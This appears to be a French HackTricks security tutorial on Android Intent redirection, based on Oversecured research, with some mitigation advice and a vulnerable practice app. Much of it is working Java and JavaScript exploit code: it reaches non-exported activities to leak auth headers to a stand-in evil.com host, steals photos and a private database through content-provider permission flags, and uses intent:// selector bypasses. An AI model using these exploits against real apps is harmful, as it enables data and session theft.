17 KiB
<details>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
**Recherche tirée de** [**https://blog.oversecured.com/Android-Access-to-app-protected-components/**](https://blog.oversecured.com/Android-Access-to-app-protected-components/)
# Introduction
Cette vulnérabilité ressemble à **Open Redirect dans la sécurité web**. Puisque la classe `Intent` est `Parcelable`, **les objets appartenant à cette classe** peuvent être **transmis** comme **données supplémentaires** dans un autre objet `Intent`. \
De nombreux développeurs utilisent cette **fonctionnalité** et créent des **composants proxy** (activités, récepteurs de diffusion et services) qui **prennent un Intent intégré et le transmettent à des méthodes dangereuses** comme `startActivity(...)`, `sendBroadcast(...)`, etc. \
C'est dangereux car **un attaquant peut forcer l'application à lancer un composant non exporté qui ne peut pas être lancé directement depuis une autre application**, ou pour accorder à l'attaquant l'accès à ses fournisseurs de contenu. **`WebView`** change parfois aussi une **URL d'une chaîne en un objet `Intent`**, en utilisant la méthode `Intent.parseUri(...)`, et le transmet à `startActivity(...)`.
{% hint style="info" %}
En résumé : Si un attaquant peut envoyer un Intent qui est exécuté de manière non sécurisée, il peut potentiellement accéder à des composants non exportés et en abuser.
{% endhint %}
# Un cas typique
Examinons un exemple. Fragment du fichier `AndroidManifest.xml`
<activity android:name=".ProxyActivity" android:exported="true" />
<activity android:name=".AuthWebViewActivity" android:exported="false" />
Activité ProxyActivity
startActivity((Intent) getIntent().getParcelableExtra("extra_intent"));
Activité AuthWebViewActivity
webView.loadUrl(getIntent().getStringExtra("url"), getAuthHeaders());
AuthWebViewActivity
est un exemple de fonctionnalité d'application cachée qui effectue certaines actions non sécurisées, dans ce cas, transmettant la session d'authentification de l'utilisateur à une URL obtenue à partir du paramètre url
.
Les restrictions à l'exportation signifient que l'attaquant ne peut pas accéder directement à AuthWebViewActivity
. Un appel direct
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
intent.putExtra("url", "http://evil.com/");
startActivity(intent);
lance une `java.lang.SecurityException`, en raison d'un `Permission Denial` : `AuthWebViewActivity non exporté depuis l'uid 1337`.
Mais l'attaquant peut **forcer la victime à lancer `AuthWebViewActivity` elle-même** :
Intent extra = new Intent();
extra.setClassName("com.victim", "com.victim.AuthWebViewActivity");
extra.putExtra("url", "http://evil.com/");
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);
Escalation de l'impact
Pour augmenter l'impact de cette vulnérabilité, vous devez trouver d'autres vulnérabilités/configurations incorrectes qui pourraient permettre d'augmenter l'impact de la vulnérabilité (car la vulnérabilité en elle-même ne crée pas de risques).
Escalation des attaques via les Content Providers
En plus de l'accès aux composants arbitraires de l'application originale, l'attaquant peut tenter d'accéder à ceux des Content Providers de l'application vulnérable qui satisfont aux conditions suivantes :
- il doit être non-exporté (sinon il pourrait être attaqué directement, sans utiliser la vulnérabilité dont nous discutons dans cet article)
- il doit avoir le flag
android:grantUriPermissions
défini surtrue
. android:grantUriPermissions="true"
indique que votre code Java peut utiliserFLAG_GRANT_READ_URI_PERMISSION
etFLAG_GRANT_WRITE_URI_PERMISSION
pour n'importe quelUri
servi par ceContentProvider
.android:grantUriPermissions="false"
indique que seules les valeursUri
spécifiées par les éléments enfants<grant-uri-permission>
peuvent être utilisées avecFLAG_GRANT_READ_URI_PERMISSION
etFLAG_GRANT_WRITE_URI_PERMISSION
.
L'attaquant doit se définir comme le destinataire d'une intention intégrée et définir les flags suivants
Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
permet un accès persistant au fournisseur (sans ce flag, l'accès est unique)Intent.FLAG_GRANT_PREFIX_URI_PERMISSION
permet l'accès à l'URI par préfixe – par exemple, au lieu d'obtenir séparément un accès répété en utilisant un chemin complet tel quecontent://com.victim.provider/image/1
, l'attaquant peut accorder l'accès à tout le contenu du fournisseur en utilisant l'URIcontent://com.victim.provider/
et ensuite utiliserContentResolver
pour adressercontent://com.victim.provider/image/1
,content://com.victim.provider/image/2
, etc.Intent.FLAG_GRANT_READ_URI_PERMISSION
permet les opérations de lecture sur le fournisseur (telles quequery
,openFile
,openAssetFile
)Intent.FLAG_GRANT_WRITE_URI_PERMISSION
permet les opérations d'écriture
Un exemple typique de fournisseur où un attaquant peut accéder et effectuer des opérations régulières comme query
, update
, insert
, delete
, openFile
, openAssetFile
<provider android:name="com.victim.ContentProvider" android:exported="false" android:authorities="com.victim.provider" android:grantUriPermissions="true"/>
Exemple de vol de photos d'utilisateur dans le fichier AndroidManifest.xml
<activity android:name=".LeakActivity" android:exported="true" />
Fichier MainActivity.java
Intent extra = new Intent();
extra.setFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
| Intent.FLAG_GRANT_PREFIX_URI_PERMISSION
| Intent.FLAG_GRANT_READ_URI_PERMISSION
| Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
extra.setData(Uri.parse("content://com.victim.provider/"));
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);
LeakActivity.java
Uri uri = Uri.parse(getIntent().getDataString() + "image/1")); // content://com.victim.provider/image/1
Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(uri)); // stolen image
Attaques sur le fournisseur de fichiers Android
Cette vulnérabilité permet également à l'attaquant de voler des fichiers d'application situés dans des répertoires que le développeur a prédéterminés. Pour une attaque réussie, l'application malveillante doit obtenir des droits d'accès au fournisseur de fichiers Android puis lire le contenu du fournisseur de fichiers à l'aide du ContentResolver Android.
Exemple de fournisseur de fichiers (pour plus de détails, voir https://developer.android.com/reference/android/support/v4/content/FileProvider)
<provider android:name="androidx.core.content.FileProvider" android:exported="false" android:authorities="com.victim.files_provider" android:grantUriPermissions="true">
<meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/provider_paths"/>
</provider>
Il fournit un accès en lecture/écriture aux fichiers sur une liste spéciale qui peut être trouvée dans les ressources de l'application, dans ce cas à res/xml/provider_paths.xml
Cela peut ressembler à quelque chose comme
<?xml version="1.0" encoding="utf-8"?>
<paths>
<root-path name="root" path=""/>
<files-path name="internal_files" path="."/>
<cache-path name="cache" path=""/>
<external-path name="external_files" path="images"/>
</paths>
Chaque balise spécifie un répertoire racine avec une valeur path
relative à la racine. Par exemple, la valeur external_files
correspondra à new File(Environment.getExternalStorageDirectory(), "images")
La valeur root-path
correspond à /
, c'est-à-dire qu'elle donne accès à des fichiers arbitraires.
Disons que nous avons des données secrètes stockées dans le fichier /data/data/com.victim/databases/secret.db
: le vol de ce fichier peut ressembler à quelque chose comme ceci MainActivity.java
Intent extra = new Intent();
extra.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
extra.setData(Uri.parse("content://com.victim.files_provider/root/data/data/com.victim/databases/secret.db"));
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);
LeakActivity.java
InputStream i = getContentResolver().openInputStream(getIntent().getData()); // we can now do whatever we like with this stream, e.g. send it to a remote server
Accès à des composants arbitraires via WebView
Un objet Intent peut être converti en chaîne de caractères avec un appel à Intent.toUri(flags)
et inversement, d'une chaîne de caractères en Intent en utilisant Intent.parseUri(stringUri, flags)
. Cette fonctionnalité est souvent utilisée dans WebView (le navigateur intégré de l'application) : l'application peut vérifier un schéma intent://
, analyser l'URL en un Intent et lancer l'activité.
Cette vulnérabilité peut être exploitée à la fois via d'autres vulnérabilités (par exemple, la capacité d'ouvrir des liens arbitraires dans l'application dans WebView directement via des activités exportées ou par le biais du mécanisme de deeplink) dans l'application cliente et également à distance, y compris le cross-site scripting côté serveur ou MitM côté client.
Exemple de code vulnérable
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
Uri uri = request.getUrl();
if("intent".equals(uri.getScheme())) {
startActivity(Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME));
return true;
}
return super.shouldOverrideUrlLoading(view, request);
}
L'objectif ici est que la méthode `shouldOverrideUrlLoading(...)` de la classe `WebViewClient` est appelée à chaque fois que WebView tente de charger un nouveau lien, mais donne à l'application la possibilité d'ajouter un gestionnaire personnalisé.
Pour exploiter cette vulnérabilité, l'attaquant doit créer une redirection WebView vers une URL de schéma d'intent spécialement préparée. Exemple de création d'URL
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
intent.putExtra("url", "http://evil.com/");
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // outputs "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end"
Exemple d'attaque
location.href = "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end";
Cette version contient plusieurs restrictions par rapport à la version classique de la vulnérabilité :
- Les objets
Parcelable
etSerializable
intégrés ne peuvent pas être convertis en chaîne de caractères (ils seront ignorés) - Les drapeaux non sécurisés
Intent.FLAG_GRANT_READ_URI_PERMISSION
etIntent.FLAG_GRANT_WRITE_URI_PERMISSION
sont ignorés lorsqueIntent.parseUri(...)
est appelé. Le parseur les conservera uniquement si le drapeauIntent.URI_ALLOW_UNSAFE
(startActivity(Intent.parseUri(url, Intent.URI_INTENT_SCHEME | Intent.URI_ALLOW_UNSAFE))
) est défini, ce qui est très rare
De nombreux développeurs oublient encore d'effectuer un filtrage complet des intents reçus via WebView
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
Uri uri = request.getUrl();
if("intent".equals(uri.getScheme())) {
Intent intent = Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME);
intent.addCategory("android.intent.category.BROWSABLE");
intent.setComponent(null);
startActivity(intent);
return true;
}
return super.shouldOverrideUrlLoading(view, request);
}
L'attaquant peut spécifier un composant non exporté via un sélecteur
Intent intent = new Intent();
intent.setSelector(new Intent().setClassName("com.victim", "com.victim.AuthWebViewActivity"));
intent.putExtra("url", "http://evil.com/");
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // "intent:#Intent;S.url=http%3A%2F%2Fevil.com%2F;SEL;component=com.victim/.AuthWebViewActivity;end"
Et contourner la protection de l'application contre les intents explicites. Nous recommandons donc également de filtrer le sélecteur.
intent.addCategory("android.intent.category.BROWSABLE");
intent.setComponent(null);
intent.setSelector(null);
Mais même un filtrage complet ne garantit pas une protection totale, car un attaquant peut créer une intention implicite correspondant au intent-filter
d'une activité non exportée. Exemple de déclaration d'activité :
<activity android:name=".AuthWebViewActivity" android:exported="false">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<data android:scheme="victim" android:host="secure_handler" />
</intent-filter>
</activity>
webView.loadUrl(getIntent().getData().getQueryParameter("url"), getAuthHeaders());
Nous recommandons donc de vérifier qu'une activité est exportée avant de la lancer.
Autres méthodes de création d'intents non sécurisés
Certains développeurs d'applications mettent en œuvre leurs propres analyseurs d'intents (souvent pour gérer des deeplinks ou des messages push), en utilisant par exemple des objets JSON, des chaînes de caractères ou des tableaux d'octets, qui ne diffèrent pas du comportement par défaut ou présentent un grand danger, car ils peuvent étendre les objets Serializable
et Parcelable
et ils permettent également de définir des drapeaux non sécurisés. Le chercheur en sécurité peut également rencontrer des versions plus exotiques de création d'intent, telles que la conversion d'un tableau d'octets en Parcel
puis la lecture d'un intent à partir de celui-ci.
Uri deeplinkUri = getIntent().getData();
if(deeplinkUri.toString().startsWith("deeplink://handle/")) {
byte[] handle = Base64.decode(deeplinkUri.getQueryParameter("param"), 0);
Parcel parcel = Parcel.obtain();
parcel.unmarshall(handle, 0, handle.length);
startActivity((Intent) parcel.readParcelable(getClassLoader()));
}
Application vulnérable
{% embed url="https://github.com/oversecured/ovaa" %}
Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!
Autres moyens de soutenir HackTricks :
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT!
- Obtenez le merchandising officiel PEASS & HackTricks
- Découvrez La Famille PEASS, notre collection d'NFTs exclusifs
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez-moi sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de hacking en soumettant des PR aux dépôts github HackTricks et HackTricks Cloud.